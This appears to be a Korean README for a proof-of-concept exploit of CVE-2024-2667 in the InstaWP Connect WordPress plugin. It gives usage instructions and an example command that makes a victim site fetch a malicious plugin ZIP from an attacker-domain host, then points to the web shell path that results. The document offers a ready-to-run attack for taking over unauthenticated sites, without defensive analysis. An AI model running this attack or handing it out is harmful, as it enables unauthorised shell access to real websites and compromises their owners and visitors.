
CVE-2024-2667용 PoC 익스플로잇: InstaWP Connect WordPress 플러그인 REST API 엔드포인트의 불충분한 파일 검증을 통한 자동화된 임의 파일 업로드 및 셸 접근
WordPress용 InstaWP Connect – 1-click WP Staging & Migration 플러그인은 /wp-json/instawp-connect/v1/config REST API 엔드포인트에서 파일 검증이 불충분하여 0.1.0.22 이하의 모든 버전에서 임의 파일 업로드에 취약합니다. 이로 인해 인증되지 않은 공격자가 임의의 파일을 업로드할 수 있습니다.
| 설명 | 세부 사항 | 아이콘 |
|---|---|---|
| 필수 라이브러리 설치 | pip을 사용하여 필요한 Python 라이브러리인 requests 및 beautifulsoup4를 설치합니다. | 🛠️ |
| 설치 명령어 | 다음을 실행하세요: pip install requests beautifulsoup4. | 📥 |
| 설명 | 세부 사항 | 아이콘 |
|---|---|---|
| 셸 경로 | 업로드에 성공하면 셸은 다음 위치에서 접근할 수 있습니다: | 🐚 |
wp-content/plugins/instawp-connect/shell.php. |
usage: CVE-2024-2667.py [-h] -up URL_PLUGIN -u URL_TARGET
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due
to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and
including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.
options:
-h, --help show this help message and exit
-up URL_PLUGIN, --url_plugin URL_PLUGIN
URL of the plugin (e.g., http://attacker-domain/malicious-plugin.zip).
-u URL_TARGET, --url_target URL_TARGET
URL of the target WordPress site (e.g., http://victim-domain/).
| 설명 | 세부 사항 | 아이콘 |
|---|
| 스크립트 실행 | 필수 인자와 함께 명령줄에서 스크립트를 실행합니다. | 🚀 |
| 필수 인자 | - -up: 플러그인 URL (예: http://attacker-domain/malicious-plugin.zip). | |
- -u: 대상 WordPress URL (예: http://victim-domain/). | 🔧 | |
| 예시 명령어 | python CVE-2024-2667.py -up http://attacker-domain/malicious-plugin.zip -u http://victim-domain/ | 📜 |
| 설명 | 세부 사항 | 아이콘 |
|---|
| 버전 확인 | 스크립트는 대상 플러그인의 버전을 확인하기 위해 readme.txt 파일을 검사합니다. | 🔍 |
| 취약한 버전 | 버전이 <= 0.1.0.22이면 스크립트는 The site is vulnerable.를 출력합니다. | ⚠️ |
| 안전한 버전 | 버전이 > 0.1.0.22이면 스크립트는 The site is not vulnerable.를 출력합니다. | ✅ |